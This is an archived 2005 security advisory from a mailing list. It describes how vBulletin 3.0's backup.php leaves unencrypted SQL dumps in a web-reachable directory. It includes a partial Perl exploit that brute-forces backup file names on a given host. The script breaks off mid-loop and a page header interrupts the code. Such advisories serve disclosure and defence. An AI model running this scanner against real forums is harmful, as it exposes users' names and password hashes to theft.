

# [UNIX] vBulletin Information Disclosure (backup.php)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0079.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/19/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 19 Sep 2005 11:07:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

vBulletin Information Disclosure (backup.php)

---

## SUMMARY

" <<http://www.vbulletin.com/>> vBulletin is a powerful, scalable and fully customizable forums package for your web site." Insufficient protection by the backup mechanism allows users to obtain SQL dumps of vBulletin.

## DETAILS

Vulnerable Systems:

\* vBulletin Version 3.0

The 'backup.php' script creates a database backup file that is not password protected and is not encrypted. If the administrator selects the same directory as the forum for the location of the backup file, then a remote user that can guess the filename can download the file to obtain usernames, hashed passwords, and other information.

Exploit:

```
#!/usr/bin/perl
```

```
#####
```

```
# C R O U Z . C O M S E C U R I T Y T E A M #
```

Securiteam: [UNIX] vBulletin Information Disclosure (backup.php)

```
#####  
# EXPLOIT FOR: vBULLETIN All Versions Forums Backup Detector #  
##  
#Exploit By: A l p h a _ P r o g r a m m e r (Sirius) #  
#Email: Alpha_Programmer@LinuxMail.ORG #  
##  
#This Vuln Credited By M@FIA From Crouz Security Team #  
##  
# Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html #  
##  
#####  
#GR33tz T0 => mh_p0rtal -- Dr-CephaleX -- The-CepheXin -- Djay_Agoustinno  
#  
# Autumn_Love6 -- Behzad185 -- No_Face_King -- M@FIA ##  
##  
# IRANIAN HACKERS AND RESEARCHERS #  
# Special Lamerz : Shabgard & Emperor (Two Arabic Lamerz) #  
##  
#####
```

use IO::Socket;

```
if (@ARGV < 2)  
{  
    print "\n=====\n";  
    print " \n -- Exploit By Alpha Programmer(sirius) --\n\n";  
    print " Crouz Security Team \n\n";  
    print " Usage: <Target> <DIR>\n\n";  
    print "=====\n\n";  
    print "Examples:\n\n";  
    print " VbulletinBU.pl www.shabgard.org /Forums/\n\n";  
    print "You Can Add The Forum Backup Folder \n(It's Default in Forum's  
Root Directory) \n Example : VbulletinBU.pl www.shabgard.org  
/Forums/include/ /Alpha Programmer\n\n";
```

```
    exit();  
}
```

```
my $host = $ARGV[0];  
my $DIR = $ARGV[1];
```

```
@Alpha = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
```

```
foreach $licht0 ( @Alpha ) {  
    foreach $licht1 ( @Alpha ) {  
        foreach $licht2 ( @Alpha ) {  
            foreach $licht3 ( @Alpha ) {  
                foreach $licht4 ( @Alpha ) {  
                    $crouz = $licht1.$licht2;  
                    $crouz2 = $licht3.$licht4;  
                    $crouz3 = "200";
```



Securiteam: [UNIX] vBulletin Information Disclosure (backup.php)

The information has been provided by <mailto:mahdi.mafia@gmail.com> mahdi mafia ,

<mailto:alpha\_programmer@linuxmail.org> Alpha Programmer.

The original article can be found at:

<<http://securitytracker.com/alerts/2005/Aug/1014805.html>>

<http://securitytracker.com/alerts/2005/Aug/1014805.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.